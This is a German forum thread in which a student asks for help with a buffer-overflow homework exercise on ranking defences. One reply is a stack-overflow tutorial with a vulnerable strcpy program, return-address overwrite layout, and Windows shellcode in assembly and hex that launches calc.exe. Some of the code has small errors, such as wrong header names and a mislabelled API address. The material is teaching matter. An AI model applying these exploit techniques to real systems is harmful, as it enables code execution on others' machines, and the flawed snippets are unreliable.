Buffer overflow: Injection verhindern
-
Guten Morgen an euch alle
ich bin gerade durch google auf das Forum hier gestoßen und dachte ich frage euch mal um Hilfe...
Also: Ich muss heute ein Übungsblatt zum Thema Buffer overflows abgeben, bei dem ein C-Programm gegeben ist und ein Exploit, welches einen Buffer Overflow anzettelt- und verschiedene Möglichkeiten, wie man das verhindern kann. Und nun soll ich bewerten, was von den Möglichkeiten am sinnvollsten ist.Mein Problem ist jetzt, dass ich nicht wirklich Ahnung von C habe (ok, vielleicht auch gar keine Ahnung)
und mir nur schwer zusammenreimen kann, was das alles genau macht Deswegen komme ich damit nicht klar und dachte ich frage hier um Hilfe.Hier ist mal der Code des Programms:
bool check (short i, short n){ return i<n; } int main (int argc, char *argv[]){ if (argc!= 4 ) return -1; n= atoi(argv[1]); if (n<0) return -1; int a[n]; int i= atoi(argv[2]); int d=atoi(argv[3]); if(check(i,n)) a[i]=d; return 0; }
Und hier das Exploit:
int main (void){ char* args[3]; char *env[1]; char sc[sizeof(shellcode)+1]; char a1[20]; char a2[20]; char a3[20]; sprintf(a1, "%d", 32767); sprintf(a2, "%d", 32767+S_LOCAL+2); sprintf(a3, "%d", (int) ARGV0_ADDR); strcpy(sc, shellcode); sc[sizeof(shellcode)]='\0'; env[0]=NULL; return execve("target", args, env); } [code="c"][/cs]
Wobei S_LOCAL die Größe der lokalen Variablen zwischen array a und dem sf ist.
So und folgende Möglichkeiten zur Abwehr sind angegeben, die ich dann bewerten soll:
a) Checking array bounds at runtime with CRED
b) Checking array bounds at run-time with Libsafe or Libsafe PLUS
c) Stack canaries
d) Non-executable stack
e) Adress space randomizationFür mich macht das halt leider alles Sinn - aber es ist sehr unwahrscheinlich dass das stimt
Würde mich über jede Hilfe freuenVielen Dank & liebe Grüße,
Jule
-
Meiner Meinung nach alles übertriebener Unsinn, der das Programm schlechter macht (1-2), beziehungsweise auf den du als Programmierer sowieso keinen Einfluss hast(3-5). Einfach die Fehler beheben. Keine ungeprüfte Nutzereingabe (hier: i,n) als Teil der Programmlogik benutzen.
-
Der Fehler liegt doch darin, dass in Zeile 11 vom Exploit argv nicht initialisiert ist.
-
Schau mal hier: http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx
Da bekommst du einen kleinen überblick.
Was ein einfacher Bufferoverflow ist weisst du aber oder?^^
Falls nicht hier ein simples Beispiel:
#include <stdio> #include <cstring.h> int main( int argc, char *argv[] ) { char vul[8]; if(argc<2) // Wenn kein Parameter an das Programm übergeben wurde wird eine Fehlermeldung ausgeben und das Programm beendet { printf("Fehler kein Parameter\n"); return 0; } strcpy(vul,argv[1]); // Kopiere die Daten aus argv[1] nach vul printf("Ausgabe: %s",vul); // Gebe den Inhalt von vul aus return 0; }
00401186 |. FF72 04 PUSH DWORD PTR DS:[EDX+4] ; /src 00401189 |. 8D4D F8 LEA ECX,DWORD PTR SS:[EBP-8] ; | 0040118C |. 51 PUSH ECX ; |dest Adresse: 12ff84 0040118D |. E8 94010000 CALL <JMP.&CC3260MT._strcpy> ; \_strcpy Stack-Abbild ohne Overflow(normale Programmausführung): Adressen Werte die an der Adresse stehen 0012FF7C 0012FF84 ASCII "AAA" 0012FF80 008654E0 ASCII "AAA" 0012FF84 > 00414141 0012FF88 > 00000001 0012FF8C 0012FFB8 0012FF90 3267E552 RETURN to CC3260MT.3267E552 ; Rücksprung Adresse wird verwendet um z.b. eine Funktion zu verlassen in diesem Fall die int main(argc,char *argv[]) Funktion. 0012FF94 > 00000002 0012FF98 > 0086549C Stack-Abbild bei Overflow: Adressen Werte die an der Adresse stehen 0012FF84 > 41414141 0012FF88 > 41414141 0012FF8C 41414141 0012FF90 41414141 ; Anstatt 41414141 muss dort die Adresse (im little endian Format) stehen wo der Shellcode auch ist. 0012FF94 Shellcode Daten 0012FF8C Shellcode Daten Hier hab ich jetzt 16 Byte übergeben, also kann man sagen: 16 - 4 = 12 Byte 12 Byte + 4 Byte für die Adresse wo der Shellcode stehen soll. Also braucht man z.b.: 12 Byte ( A = 41hex ) 4 Byte Rücksprung Adresse Der Shellcode Kurz gesagt, das ganze sieht dann so aus: [cpp] char shellcode[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x00\x94\xff\x12" // Entspricht der Adresse: 0012ff94 (Big Endian), "\x00\x94\xff\x12" = Little Endian "\xeb\x1e\x5b\x83\xc3\x8\x31\xc0\x88\x3" "\x83\xeb\x8\x50\x53\xbb\xd\x25\x86\x7c" "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c" "\xff\xd3\xe8\xdd\xff\xff\xff\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x41"; [/cpp] Ziel ist es hier dafür zu sorgen das an Adresse 12FF90 eine Adresse steht die auf einen Shellcode zeigt.
Shellcode Source Code für Windows:
[Section .text] BITS 32 global _start _start: jmp short go execute_sh: pop ebx ; ebx enthält: "calc.exeA" add ebx,8 ; Lasse ebx auf das string Ende Zeigen xor eax,eax ; eax auf 0 setzen mov [ebx],al ; Schreibe eine 0 an das Ende von dem string (damit der string Nullterminiert ist und im Shellcode keine Nullbytes drin sind) sub ebx,8 ; ebx zeigt wieder auf den string anfang push eax ; eax auf stack push ebx ; ebx auf stack (der string wird auf den stack gepusht ) mov ebx,0x7c86250d ; 0x7c86250d = Adresse von WinExec, ebx = 0x7c86250d call ebx ; WinExec (Windows API Funktion) aufrufen xor eax,eax ; eax wieder auf 0 setzen push eax ; eax auf den Stack pushen mov ebx,0x7c81cb12 ; 0x7c81cb12 = Adresse von WinExec, ebx = 0x7c81cb12 call ebx ; ExitProcess (Windows API Funktion) aufrufen go: call execute_sh db "calc.exeA"
Daraus Assembliert man sich jetzt mit NASM (Netwide Assembler) eine Binär Datei diese konvertiert man anschließend nach Hex damit dort so was tolles rauskommt wie unten. (siehe Shellcode in Hexform)
Shellcode in Hexform:
char shellcode[]= "\xeb\x1e\x5b\x83\xc3\x8\x31\xc0\x88\x3" "\x83\xeb\x8\x50\x53\xbb\xd\x25\x86\x7c" "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c" "\xff\xd3\xe8\xdd\xff\xff\xff\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x41";
Du könntest dir auch mal den Buffer Overflow Primer von ehm ja ka wie sein Name nochmal war anschauen.
Such einfach mal nach: Bufferoverflow Primer
Bei Securitytube kann man den anschauen.